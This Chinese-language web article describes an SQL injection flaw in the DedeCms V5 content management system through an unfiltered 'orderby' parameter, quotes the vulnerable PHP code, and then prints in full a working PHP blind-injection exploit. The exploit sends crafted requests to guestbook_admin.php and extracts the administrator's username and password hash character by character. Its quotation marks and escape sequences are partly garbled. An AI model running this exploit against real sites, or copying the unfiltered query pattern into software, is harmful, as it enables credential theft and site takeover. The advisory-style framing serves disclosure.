驱动管家:安全、高效、精准的专业驱动下载站!

dedecms v5漏洞描述 dedecms v5漏洞如何检测?

2018-02-25 18:03:05责编:llp   来源:驱动管家     人气:

DedeCms由2004年到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

dedecms v5漏洞描述 dedecms v5漏洞如何检测?

在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下:

if(empty($orderby)) $orderby = 'pubdate';

//重载列表

if($dopost=='getlist'){

PrintAjaxHead();

GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数

$dsql->Close();

exit();

……

function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){

global $cfg_phpurl,$cfg_ml;

$jobs = array();

$start = ($pageno-1) * $pagesize;

$dsql->SetQuery("Select * From sec_jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");

$dsql->Execute();//orderby 带入数据库查询

……

----------------------------------------------------------

<*参考

http://www.80sec.com/dedecms-sql-injection.html

*>

测试方法:

[www.sebug.net]

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

print_r('

--------------------------------------------------------------------------------

DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit

BY Flyh4t

www.wolvez.org

Thx for all the members of W.S.T and my friend Oldjun

--------------------------------------------------------------------------------

');

if ($argc<3) {

print_r('

--------------------------------------------------------------------------------

Usage: php '.$argv[0].’ host path

host: target server (ip/hostname)

path: path to DEDEcms

Example:

php ‘.$argv[0].’ localhost /

——————————————————————————–

‘);

die;

}

function sendpacketii($packet)

{

global $host, $html;

$ock=fsockopen(gethostbyname($host),’80′);

if (!$ock) {

echo ‘No response from ‘.$host; die;

}

fputs($ock,$packet);

$html=”;

while (!feof($ock)) {

$html.=fgets($ock);

}

fclose($ock);

}

$host=$argv[1];

$path=$argv[2];

$prefix=”dede_”;

$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;

if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))

{echo ‘Error… check the path!’; die;}

$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0rn”;

$packet.=”Host: “.$host.”rn”;

$packet.=”Cookie: “.$cookie.”rn”;

$packet.=”Connection: Closernrn”;

sendpacketii($packet);

if (eregi(”in your SQL syntax”,$html))

{

$temp=explode(”From “,$html);

$temp2=explode(”member”,$temp[1]);

if($temp2[0])

$prefix=$temp2[0];

echo “[+]prefix ->“.$prefix.”n”;

}

$chars[0]=0;//null

$chars=array_merge($chars,range(48,57)); //numbers

$chars=array_merge($chars,range(97,102));//a-f letters

echo “[~]exploting now,plz waitingrn”;

$j=1;$password=”";

while (!strstr($password,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

if (in_array($i,$chars))

{

$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;

$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;

$packet.=”Host: “.$host.”rn”;

$packet.=”Cookie: “.$cookie.”rn”;

$packet.=”Connection: Closernrn”;

sendpacketii($packet);

if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”rn”;break;}

}

if ($i==255) {die(”Exploit failed…”);}

}

$j++;

}

$j=1;$admin=”";

while (!strstr($admin,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;

$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;

$packet.=”Host: “.$host.”rn”;

$packet.=”Cookie: “.$cookie.”rn”;

$packet.=”Connection: Closernrn”;

sendpacketii($packet);

if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”rn”;break;}

if ($i==255) {die(”Exploit failed…”);}

}

$j++;

}

print_r(’

——————————————————————————–

[+]userid ->‘.$admin.’

[+]pwd(md5 24位) ->‘.$password.’

——————————————————————————–

‘);

function is_hash($hash)

{

if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}

else {return false;}

}

if (is_hash($password)) {echo “Exploit succeeded…”;}

else {echo “Exploit failed…”;}

?>爱安全建议:

暂无

http://www.dedecms.com// aianquan.com [2008-08-13]

  • 黑客入侵网站的途径及防御方法

    黑客入侵网站的途径及防御方法

    1 桌面缝隙Internet Explorer、Firefox和Windows操作系统中包括许多可以被黑客运用的缝隙,特别是在用户常常不及时装置补丁的情况下。黑客会运用这些缝隙在不经用户赞同的情况下主动下载歹意软件代码——也称作

    详情2018-01-18 12:14:14责编:llp   来源:驱动管家     
  • 验证码识别的原理是什么?验证码识别怎么破解?

    验证码识别的原理是什么?验证码识别怎么破解?

    对于比较复杂的验证码,比如DZ论坛最新的验证码,处理起来相对麻烦一些,但是原理还是和普通的识别一样的,无非多了个背景处理的方案,看如下对DZ论坛的验证码的识别的思路首先我们要去除它的背景,对于这样稍微

    详情2018-01-03 13:52:23责编:llp   来源:驱动管家     
  • 如何查找克隆账号?删除克隆账号需要注意什么?

    如何查找克隆账号?删除克隆账号需要注意什么?

    克隆账户就是克隆管理员的账户,克隆出来的账户将有何管理员一样的权限,所以克隆账户的危害性在服务器安全中也尤其的大,一般在系统账户中的克隆账户和其他账户有所区别!在系统账户中查找 删除克隆账户1 备份注

    详情2018-02-04 12:20:09责编:llp   来源:驱动管家     
  • pplive网络电视有漏洞?activex漏洞挖掘的步骤

    pplive网络电视有漏洞?activex漏洞挖掘的步骤

    受影响系统:pplive 1 8beta2描述:ActiveX类型溢出,远程攻击者可能利用此漏洞在用户计算机上执行任意指令。来源:Bug Center TeamActiveX漏洞挖掘的步骤:1) 判断是否属于远程类型的ActiveX控件2) 获得该

    详情2018-01-26 13:30:43责编:llp   来源:驱动管家     
  • petya勒索病毒的危害 petya勒索病毒怎么预防?

    petya勒索病毒的危害 petya勒索病毒怎么预防?

    背景:在6月23号我们向您通报了有关“5 12WannaCry”勒索病毒新变种肆虐的消息之后(该次应急通报的具体内容请查看第7-10页),在昨天6月27日晚间时候(欧洲6月27日下午时分),新一轮的勒索病毒变种(本次名为Pe

    详情2018-01-16 19:41:51责编:llp   来源:驱动管家     
  • 网站被黑的经过 怎么防止网站被黑?

    网站被黑的经过 怎么防止网站被黑?

    网站会被黑了 现在想想 有哪些方面的经验给大家借鉴一下

    详情2018-01-20 17:30:08责编:llp   来源:驱动管家     
  • 木马冰河入侵个人电脑的步骤只需十三步

    木马冰河入侵个人电脑的步骤只需十三步

    木马冰河是一款功能强大的远程控制软件,因为它的功能很强大所以成为了黑客们发动入侵的工具,2HK联盟Mask曾利用它入侵过数千台电脑,国外电脑也不例外,一起来看看哪十三步简单入侵个人电脑吧。第一步下载必备的

    详情2018-01-19 15:49:15责编:llp   来源:驱动管家     
  • quicktime player的溢出程序导致严重的安全隐患

    quicktime player的溢出程序导致严重的安全隐患

    仅仅在 Apple 升级播放器堵上九个严重安全漏洞之后的一个星期,一个暂无补丁的 Applequicktime player缺陷就于星期二被发布在 milw0rm com 网站上。该溢出程序利用了quicktime player处理 “” 参数时未

    详情2018-01-28 09:57:35责编:llp   来源:驱动管家     
  • 页面隐藏域未做处理,导致非法数据被执行怎么办?

    页面隐藏域未做处理,导致非法数据被执行怎么办?

    最近,有个项目突然接到总部的安全漏洞报告,查看后知道是XSS攻击。问题描述:在页面上有个隐藏域:XML HTML Code复制内容到剪贴板 当前页面提交到Controller时,未对action属性做任何处理,直接又回传到页面上

    详情2018-02-10 11:38:24责编:llp   来源:驱动管家     
  • 网站流量被黑客劫持是因为黑客们修改了wordpress核心文件

    网站流量被黑客劫持是因为黑客们修改了wordpress核心文件

    大家都知道如果黑客入侵我们的网站后,他们是可以肆意的在上面搭载钓鱼页面,传播恶意软件,盗取敏感信息等,这非常不利于我们网站。垃圾内容和黑名单近期,我们分析了一个被重定向到第三方域名的网站。黑客通常

    详情2018-01-22 21:31:17责编:llp   来源:驱动管家